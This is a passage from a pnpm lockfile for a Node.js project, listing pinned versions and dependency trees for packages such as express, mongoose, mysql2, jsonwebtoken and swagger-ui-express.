ms: 2.1.2 2431 | 2432 | define-data-property@1.1.1: 2433 | dependencies: 2434 | get-intrinsic: 1.2.2 2435 | gopd: 1.0.1 2436 | has-property-descriptors: 1.0.1 2437 | 2438 | delegates@1.0.0: {} 2439 | 2440 | denque@2.1.0: {} 2441 | 2442 | depd@2.0.0: {} 2443 | 2444 | destroy@1.2.0: {} 2445 | 2446 | detect-libc@2.0.2: {} 2447 | 2448 | diff@4.0.2: {} 2449 | 2450 | doctrine@3.0.0: 2451 | dependencies: 2452 | esutils: 2.0.3 2453 | 2454 | dotenv@16.3.1: {} 2455 | 2456 | ecdsa-sig-formatter@1.0.11: 2457 | dependencies: 2458 | safe-buffer: 5.2.1 2459 | 2460 | ee-first@1.1.1: {} 2461 | 2462 | emoji-regex@8.0.0: {} 2463 | 2464 | encodeurl@1.0.2: {} 2465 | 2466 | escape-html@1.0.3: {} 2467 | 2468 | esutils@2.0.3: {} 2469 | 2470 | etag@1.8.1: {} 2471 | 2472 | express-session@1.17.3: 2473 | dependencies: 2474 | cookie: 0.4.2 2475 | cookie-signature: 1.0.6 2476 | debug: 2.6.9 2477 | depd: 2.0.0 2478 | on-headers: 1.0.2 2479 | parseurl: 1.3.3 2480 | safe-buffer: 5.2.1 2481 | uid-safe: 2.1.5 2482 | transitivePeerDependencies: 2483 | - supports-color 2484 | 2485 | express@4.18.2: 2486 | dependencies: 2487 | accepts: 1.3.8 2488 | array-flatten: 1.1.1 2489 | body-parser: 1.20.1 2490 | content-disposition: 0.5.4 2491 | content-type: 1.0.5 2492 | cookie: 0.5.0 2493 | cookie-signature: 1.0.6 2494 | debug: 2.6.9 2495 | depd: 2.0.0 2496 | encodeurl: 1.0.2 2497 | escape-html: 1.0.3 2498 | etag: 1.8.1 2499 | finalhandler: 1.2.0 2500 | fresh: 0.5.2 2501 | http-errors: 2.0.0 2502 | merge-descriptors: 1.0.1 2503 | methods: 1.1.2 2504 | on-finished: 2.4.1 2505 | parseurl: 1.3.3 2506 | path-to-regexp: 0.1.7 2507 | proxy-addr: 2.0.7 2508 | qs: 6.11.0 2509 | range-parser: 1.2.1 2510 | safe-buffer: 5.2.1 2511 | send: 0.18.0 2512 | serve-static: 1.15.0 2513 | setprototypeof: 1.2.0 2514 | statuses: 2.0.1 2515 | type-is: 1.6.18 2516 | utils-merge: 1.0.1 2517 | vary: 1.1.2 2518 | transitivePeerDependencies: 2519 | - supports-color 2520 | 2521 | fast-xml-parser@4.2.5: 2522 | dependencies: 2523 | strnum: 1.0.5 2524 | optional: true 2525 | 2526 | fastfall@1.5.1: 2527 | dependencies: 2528 | reusify: 1.0.4 2529 | 2530 | fill-range@7.0.1: 2531 | dependencies: 2532 | to-regex-range: 5.0.1 2533 | 2534 | finalhandler@1.2.0: 2535 | dependencies: 2536 | debug: 2.6.9 2537 | encodeurl: 1.0.2 2538 | escape-html: 1.0.3 2539 | on-finished: 2.4.1 2540 | parseurl: 1.3.3 2541 | statuses: 2.0.1 2542 | unpipe: 1.0.0 2543 | transitivePeerDependencies: 2544 | - supports-color 2545 | 2546 | forwarded@0.2.0: {} 2547 | 2548 | fresh@0.5.2: {} 2549 | 2550 | fs-minipass@2.1.0: 2551 | dependencies: 2552 | minipass: 3.3.6 2553 | 2554 | fs.realpath@1.0.0: {} 2555 | 2556 | fsevents@2.3.3: 2557 | optional: true 2558 | 2559 | function-bind@1.1.2: {} 2560 | 2561 | gauge@3.0.2: 2562 | dependencies: 2563 | aproba: 2.0.0 2564 | color-support: 1.1.3 2565 | console-control-strings: 1.1.0 2566 | has-unicode: 2.0.1 2567 | object-assign: 4.1.1 2568 | signal-exit: 3.0.7 2569 | string-width: 4.2.3 2570 | strip-ansi: 6.0.1 2571 | wide-align: 1.1.5 2572 | 2573 | generate-function@2.3.1: 2574 | dependencies: 2575 | is-property: 1.0.2 2576 | 2577 | get-intrinsic@1.2.2: 2578 | dependencies: 2579 | function-bind: 1.1.2 2580 | has-proto: 1.0.1 2581 | has-symbols: 1.0.3 2582 | hasown: 2.0.0 2583 | 2584 | glob-parent@5.1.2: 2585 | dependencies: 2586 | is-glob: 4.0.3 2587 | 2588 | glob@7.1.6: 2589 | dependencies: 2590 | fs.realpath: 1.0.0 2591 | inflight: 1.0.6 2592 | inherits: 2.0.4 2593 | minimatch: 3.1.2 2594 | once: 1.4.0 2595 | path-is-absolute: 1.0.1 2596 | 2597 | glob@7.2.3: 2598 | dependencies: 2599 | fs.realpath: 1.0.0 2600 | inflight: 1.0.6 2601 | inherits: 2.0.4 2602 | minimatch: 3.1.2 2603 | once: 1.4.0 2604 | path-is-absolute: 1.0.1 2605 | 2606 | gopd@1.0.1: 2607 | dependencies: 2608 | get-intrinsic: 1.2.2 2609 | 2610 | has-flag@3.0.0: {} 2611 | 2612 | has-property-descriptors@1.0.1: 2613 | dependencies: 2614 | get-intrinsic: 1.2.2 2615 | 2616 | has-proto@1.0.1: {} 2617 | 2618 | has-symbols@1.0.3: {} 2619 | 2620 | has-unicode@2.0.1: {} 2621 | 2622 | hasown@2.0.0: 2623 | dependencies: 2624 | function-bind: 1.1.2 2625 | 2626 | http-errors@2.0.0: 2627 | dependencies: 2628 | depd: 2.0.0 2629 | inherits: 2.0.4 2630 | setprototypeof: 1.2.0 2631 | statuses: 2.0.1 2632 | toidentifier: 1.0.1 2633 | 2634 | https-proxy-agent@5.0.1: 2635 | dependencies: 2636 | agent-base: 6.0.2 2637 | debug: 4.3.4 2638 | transitivePeerDependencies: 2639 | - supports-color 2640 | 2641 | iconv-lite@0.4.24: 2642 | dependencies: 2643 | safer-buffer: 2.1.2 2644 | 2645 | iconv-lite@0.6.3: 2646 | dependencies: 2647 | safer-buffer: 2.1.2 2648 | 2649 | ieee754@1.2.1: {} 2650 | 2651 | ignore-by-default@1.0.1: {} 2652 | 2653 | inflight@1.0.6: 2654 | dependencies: 2655 | once: 1.4.0 2656 | wrappy: 1.0.2 2657 | 2658 | inherits@2.0.4: {} 2659 | 2660 | ip@2.0.0: {} 2661 | 2662 | ipaddr.js@1.9.1: {} 2663 | 2664 | is-binary-path@2.1.0: 2665 | dependencies: 2666 | binary-extensions: 2.2.0 2667 | 2668 | is-extglob@2.1.1: {} 2669 | 2670 | is-fullwidth-code-point@3.0.0: {} 2671 | 2672 | is-glob@4.0.3: 2673 | dependencies: 2674 | is-extglob: 2.1.1 2675 | 2676 | is-number@7.0.0: {} 2677 | 2678 | is-property@1.0.2: {} 2679 | 2680 | joi@17.11.0: 2681 | dependencies: 2682 | '@hapi/hoek': 9.3.0 2683 | '@hapi/topo': 5.1.0 2684 | '@sideway/address': 4.1.4 2685 | '@sideway/formula': 3.0.1 2686 | '@sideway/pinpoint': 2.0.0 2687 | 2688 | js-yaml@4.1.0: 2689 | dependencies: 2690 | argparse: 2.0.1 2691 | 2692 | jsonwebtoken@9.0.2: 2693 | dependencies: 2694 | jws: 3.2.2 2695 | lodash.includes: 4.3.0 2696 | lodash.isboolean: 3.0.3 2697 | lodash.isinteger: 4.0.4 2698 | lodash.isnumber: 3.0.3 2699 | lodash.isplainobject: 4.0.6 2700 | lodash.isstring: 4.0.1 2701 | lodash.once: 4.1.1 2702 | ms: 2.1.3 2703 | semver: 7.5.4 2704 | 2705 | jwa@1.4.1: 2706 | dependencies: 2707 | buffer-equal-constant-time: 1.0.1 2708 | ecdsa-sig-formatter: 1.0.11 2709 | safe-buffer: 5.2.1 2710 | 2711 | jws@3.2.2: 2712 | dependencies: 2713 | jwa: 1.4.1 2714 | safe-buffer: 5.2.1 2715 | 2716 | kareem@2.5.1: {} 2717 | 2718 | lodash.get@4.4.2: {} 2719 | 2720 | lodash.includes@4.3.0: {} 2721 | 2722 | lodash.isboolean@3.0.3: {} 2723 | 2724 | lodash.isequal@4.5.0: {} 2725 | 2726 | lodash.isinteger@4.0.4: {} 2727 | 2728 | lodash.isnumber@3.0.3: {} 2729 | 2730 | lodash.isplainobject@4.0.6: {} 2731 | 2732 | lodash.isstring@4.0.1: {} 2733 | 2734 | lodash.mergewith@4.6.2: {} 2735 | 2736 | lodash.once@4.1.1: {} 2737 | 2738 | long@5.2.3: {} 2739 | 2740 | lru-cache@6.0.0: 2741 | dependencies: 2742 | yallist: 4.0.0 2743 | 2744 | lru-cache@7.18.3: {} 2745 | 2746 | lru-cache@8.0.5: {} 2747 | 2748 | make-dir@3.1.0: 2749 | dependencies: 2750 | semver: 6.3.1 2751 | 2752 | make-error@1.3.6: {} 2753 | 2754 | media-typer@0.3.0: {} 2755 | 2756 | memory-pager@1.5.0: 2757 | optional: true 2758 | 2759 | merge-descriptors@1.0.1: {} 2760 | 2761 | methods@1.1.2: {} 2762 | 2763 | mime-db@1.52.0: {} 2764 | 2765 | mime-types@2.1.35: 2766 | dependencies: 2767 | mime-db: 1.52.0 2768 | 2769 | mime@1.6.0: {} 2770 | 2771 | minimatch@3.1.2: 2772 | dependencies: 2773 | brace-expansion: 1.1.11 2774 | 2775 | minipass@3.3.6: 2776 | dependencies: 2777 | yallist: 4.0.0 2778 | 2779 | minipass@5.0.0: {} 2780 | 2781 | minizlib@2.1.2: 2782 | dependencies: 2783 | minipass: 3.3.6 2784 | yallist: 4.0.0 2785 | 2786 | mkdirp@1.0.4: {} 2787 | 2788 | mongodb-connection-string-url@2.6.0: 2789 | dependencies: 2790 | '@types/whatwg-url': 8.2.2 2791 | whatwg-url: 11.0.0 2792 | 2793 | mongodb@4.17.1: 2794 | dependencies: 2795 | bson: 4.7.2 2796 | mongodb-connection-string-url: 2.6.0 2797 | socks: 2.7.1 2798 | optionalDependencies: 2799 | '@aws-sdk/credential-providers': 3.445.0 2800 | '@mongodb-js/saslprep': 1.1.1 2801 | transitivePeerDependencies: 2802 | - aws-crt 2803 | 2804 | mongoose@6.12.3: 2805 | dependencies: 2806 | bson: 4.7.2 2807 | kareem: 2.5.1 2808 | mongodb: 4.17.1 2809 | mpath: 0.9.0 2810 | mquery: 4.0.3 2811 | ms: 2.1.3 2812 | sift: 16.0.1 2813 | transitivePeerDependencies: 2814 | - aws-crt 2815 | - supports-color 2816 | 2817 | mpath@0.9.0: {} 2818 | 2819 | mquery@4.0.3: 2820 | dependencies: 2821 | debug: 4.3.4 2822 | transitivePeerDependencies: 2823 | - supports-color 2824 | 2825 | ms@2.0.0: {} 2826 | 2827 | ms@2.1.2: {} 2828 | 2829 | ms@2.1.3: {} 2830 | 2831 | mysql2@3.6.3: 2832 | dependencies: 2833 | denque: 2.1.0 2834 | generate-function: 2.3.1 2835 | iconv-lite: 0.6.3 2836 | long: 5.2.3 2837 | lru-cache: 8.0.5 2838 | named-placeholders: 1.1.3 2839 | seq-queue: 0.0.5 2840 | sqlstring: 2.3.3 2841 | 2842 | named-placeholders@1.1.3: 2843 | dependencies: 2844 | lru-cache: 7.18.3 2845 | 2846 | negotiator@0.6.3: {} 2847 | 2848 | node-addon-api@5.1.0: {} 2849 | 2850 | node-fetch@2.7.0: 2851 | dependencies: 2852 | whatwg-url: 5.0.0 2853 | 2854 | nodemon@2.0.22: 2855 | dependencies: 2856 | chokidar: 3.5.3 2857 | debug: 3.2.7(supports-color@5.5.0) 2858 | ignore-by-default: 1.0.1 2859 | minimatch: 3.1.2 2860 | pstree.remy: 1.1.8 2861 | semver: 5.7.2 2862 | simple-update-notifier: 1.1.0 2863 | supports-color: 5.5.0 2864 | touch: 3.1.0 2865 | undefsafe: 2.0.5 2866 | 2867 | nopt@1.0.10: 2868 | dependencies: 2869 | abbrev: 1.1.1 2870 | 2871 | nopt@5.0.0: 2872 | dependencies: 2873 | abbrev: 1.1.1 2874 | 2875 | normalize-path@3.0.0: {} 2876 | 2877 | npmlog@5.0.1: 2878 | dependencies: 2879 | are-we-there-yet: 2.0.0 2880 | console-control-strings: 1.1.0 2881 | gauge: 3.0.2 2882 | set-blocking: 2.0.0 2883 | 2884 | object-assign@4.1.1: {} 2885 | 2886 | object-inspect@1.13.1: {} 2887 | 2888 | on-finished@2.4.1: 2889 | dependencies: 2890 | ee-first: 1.1.1 2891 | 2892 | on-headers@1.0.2: {} 2893 | 2894 | once@1.4.0: 2895 | dependencies: 2896 | wrappy: 1.0.2 2897 | 2898 | openapi-types@12.1.3: {} 2899 | 2900 | parseurl@1.3.3: {} 2901 | 2902 | path-is-absolute@1.0.1: {} 2903 | 2904 | path-to-regexp@0.1.7: {} 2905 | 2906 | pbkdf2-password@1.2.1: 2907 | dependencies: 2908 | fastfall: 1.5.1 2909 | 2910 | picomatch@2.3.1: {} 2911 | 2912 | proxy-addr@2.0.7: 2913 | dependencies: 2914 | forwarded: 0.2.0 2915 | ipaddr.js: 1.9.1 2916 | 2917 | pstree.remy@1.1.8: {} 2918 | 2919 | punycode@2.3.1: {} 2920 | 2921 | qs@6.11.0: 2922 | dependencies: 2923 | side-channel: 1.0.4 2924 | 2925 | random-bytes@1.0.0: {} 2926 | 2927 | range-parser@1.2.1: {} 2928 | 2929 | raw-body@2.5.1: 2930 | dependencies: 2931 | bytes: 3.1.2 2932 | http-errors: 2.0.0 2933 | iconv-lite: 0.4.24 2934 | unpipe: 1.0.0 2935 | 2936 | raw-body@2.5.2: 2937 | dependencies: 2938 | bytes: 3.1.2 2939 | http-errors: 2.0.0 2940 | iconv-lite: 0.4.24 2941 | unpipe: 1.0.0 2942 | 2943 | readable-stream@3.6.2: 2944 | dependencies: 2945 | inherits: 2.0.4 2946 | string_decoder: 1.3.0 2947 | util-deprecate: 1.0.2 2948 | 2949 | readdirp@3.6.0: 2950 | dependencies: 2951 | picomatch: 2.3.1 2952 | 2953 | reusify@1.0.4: {} 2954 | 2955 | rimraf@3.0.2: 2956 | dependencies: 2957 | glob: 7.2.3 2958 | 2959 | safe-buffer@5.2.1: {} 2960 | 2961 | safer-buffer@2.1.2: {} 2962 | 2963 | semver@5.7.2: {} 2964 | 2965 | semver@6.3.1: {} 2966 | 2967 | semver@7.0.0: {} 2968 | 2969 | semver@7.5.4: 2970 | dependencies: 2971 | lru-cache: 6.0.0 2972 | 2973 | send@0.18.0: 2974 | dependencies: 2975 | debug: 2.6.9 2976 | depd: 2.0.0 2977 | destroy: 1.2.0 2978 | encodeurl: 1.0.2 2979 | escape-html: 1.0.3 2980 | etag: 1.8.1 2981 | fresh: 0.5.2 2982 | http-errors: 2.0.0 2983 | mime: 1.6.0 2984 | ms: 2.1.3 2985 | on-finished: 2.4.1 2986 | range-parser: 1.2.1 2987 | statuses: 2.0.1 2988 | transitivePeerDependencies: 2989 | - supports-color 2990 | 2991 | seq-queue@0.0.5: {} 2992 | 2993 | serve-static@1.15.0: 2994 | dependencies: 2995 | encodeurl: 1.0.2 2996 | escape-html: 1.0.3 2997 | parseurl: 1.3.3 2998 | send: 0.18.0 2999 | transitivePeerDependencies: 3000 | - supports-color 3001 | 3002 | set-blocking@2.0.0: {} 3003 | 3004 | set-function-length@1.1.1: 3005 | dependencies: 3006 | define-data-property: 1.1.1 3007 | get-intrinsic: 1.2.2 3008 | gopd: 1.0.1 3009 | has-property-descriptors: 1.0.1 3010 | 3011 | setprototypeof@1.2.0: {} 3012 | 3013 | side-channel@1.0.4: 3014 | dependencies: 3015 | call-bind: 1.0.5 3016 | get-intrinsic: 1.2.2 3017 | object-inspect: 1.13.1 3018 | 3019 | sift@16.0.1: {} 3020 | 3021 | signal-exit@3.0.7: {} 3022 | 3023 | simple-update-notifier@1.1.0: 3024 | dependencies: 3025 | semver: 7.0.0 3026 | 3027 | smart-buffer@4.2.0: {} 3028 | 3029 | socks@2.7.1: 3030 | dependencies: 3031 | ip: 2.0.0 3032 | smart-buffer: 4.2.0 3033 | 3034 | sparse-bitfield@3.0.3: 3035 | dependencies: 3036 | memory-pager: 1.5.0 3037 | optional: true 3038 | 3039 | sqlstring@2.3.3: {} 3040 | 3041 | statuses@2.0.1: {} 3042 | 3043 | string-width@4.2.3: 3044 | dependencies: 3045 | emoji-regex: 8.0.0 3046 | is-fullwidth-code-point: 3.0.0 3047 | strip-ansi: 6.0.1 3048 | 3049 | string_decoder@1.3.0: 3050 | dependencies: 3051 | safe-buffer: 5.2.1 3052 | 3053 | strip-ansi@6.0.1: 3054 | dependencies: 3055 | ansi-regex: 5.0.1 3056 | 3057 | strnum@1.0.5: 3058 | optional: true 3059 | 3060 | supports-color@5.5.0: 3061 | dependencies: 3062 | has-flag: 3.0.0 3063 | 3064 | swagger-jsdoc@6.2.8(openapi-types@12.1.3): 3065 | dependencies: 3066 | commander: 6.2.0 3067 | doctrine: 3.0.0 3068 | glob: 7.1.6 3069 | lodash.mergewith: 4.6.2 3070 | swagger-parser: 10.0.3(openapi-types@12.1.3) 3071 | yaml: 2.0.0-1 3072 | transitivePeerDependencies: 3073 | - openapi-types 3074 | 3075 | swagger-parser@10.0.3(openapi-types@12.1.3): 3076 | dependencies: 3077 | '@apidevtools/swagger-parser': 10.0.3(openapi-types@12.1.3) 3078 | transitivePeerDependencies: 3079 | - openapi-types 3080 | 3081 | swagger-ui-dist@5.9.1: {} 3082 | 3083 | swagger-ui-express@5.0.0(express@4.18.2): 3084 | dependencies: 3085 | express: 4.18.2 3086 | swagger-ui-dist: 5.9.1 3087 | 3088 | tar@6.2.0: 3089 | dependencies: 3090 | chownr: 2.0.0 3091 | fs-minipass: 2.1.0 3092 | minipass: 5.0.0 3093 | minizlib: 2.1.2 3094 | mkdirp: 1.0.4 3095 | yallist: 4.0.0 3096 | 3097 | to-regex-range@5.0.1: 3098 | dependencies: 3099 | is-number: 7.0.0 3100 | 3101 | toidentifier@1.0.1: {} 3102 | 3103 | touch@3.1.0: 3104 | dependencies: 3105 | nopt: 1.0.10 3106 | 3107 | tr46@0.0.3: {} 3108 | 3109 | tr46@3.0.0: 3110 | dependencies: 3111 | punycode: 2.3.1 3112 | 3113 | ts-node@10.9.1(@types/node@18.18.9)(typescript@4.9.5): 3114 | dependencies: 3115 | '@cspotcode/source-map-support': 0.8.1 3116 | '@tsconfig/node10': 1.0.9 3117 | '@tsconfig/node12': 1.0.11 3118 | '@tsconfig/node14': 1.0.3 3119 | '@tsconfig/node16': 1.0.4 3120 | '@types/node': 18.18.9 3121 | acorn: 8.11.2 3122 | acorn-walk: 8.3.0 3123 | arg: 4.1.3 3124 | create-require: 1.1.1 3125 | diff: 4.0.2 3126 | make-error: 1.3.6 3127 | typescript: 4.9.5 3128 | v8-compile-cache-lib: 3.0.1 3129 | yn: 3.1.1 3130 | 3131 | tslib@1.14.1: 3132 | optional: true 3133 | 3134 | tslib@2.6.2: 3135 | optional: true 3136 | 3137 | type-is@1.6.18: 3138 | dependencies: 3139 | media-typer: 0.3.0 3140 | mime-types: 2.1.35 3141 | 3142 | typescript@4.9.5: {} 3143 | 3144 | uid-safe@2.1.5: 3145 | dependencies: 3146 | random-bytes: 1.0.0 3147 | 3148 | undefsafe@2.0.5: {} 3149 | 3150 | undici-types@5.26.5: {} 3151 | 3152 | unpipe@1.0.0: {} 3153 | 3154 | util-deprecate@1.0.2: {} 3155 | 3156 | utils-merge@1.0.1: {} 3157 | 3158 | uuid@8.3.2: 3159 | optional: true 3160 | 3161 | v8-compile-cache-lib@3.0.1: {} 3162 | 3163 | validator@13.11.0: {} 3164 | 3165 | vary@1.1.2: {} 3166 | 3167 | webidl-conversions@3.0.1: {} 3168 | 3169 | webidl-conversions@7.0.0: {} 3170 | 3171 | whatwg-url@11.0.0: 3172 | dependencies: 3173 | tr46: 3.0.0 3174 | webidl-conversions: 7.0.0 3175 | 3176 | whatwg-url@5.0.0: 3177 | dependencies: 3178 | tr46: 0.0.3 3179 | webidl-conversions: 3.0.1 3180 | 3181 | wide-align@1.1.5: 3182 | dependencies: 3183 | string-width: 4.2.3 3184 | 3185 | wrappy@1.0.2: {} 3186 | 3187 | yallist@4.0.0: {} 3188 | 3189 | yaml@2.0.0-1: {} 3190 | 3191 | yn@3.1.1: {} 3192 | 3193 | z-schema@5.0.5: 3194 | dependencies: 3195 | lodash.get: 4.4.2 3196 | lodash.isequal: 4.5.0 3197 | validator: 13.11.0 3198 | optionalDependencies: 3199 | commander: 9.5.0 3200 | --------------------------------------------------------------------------------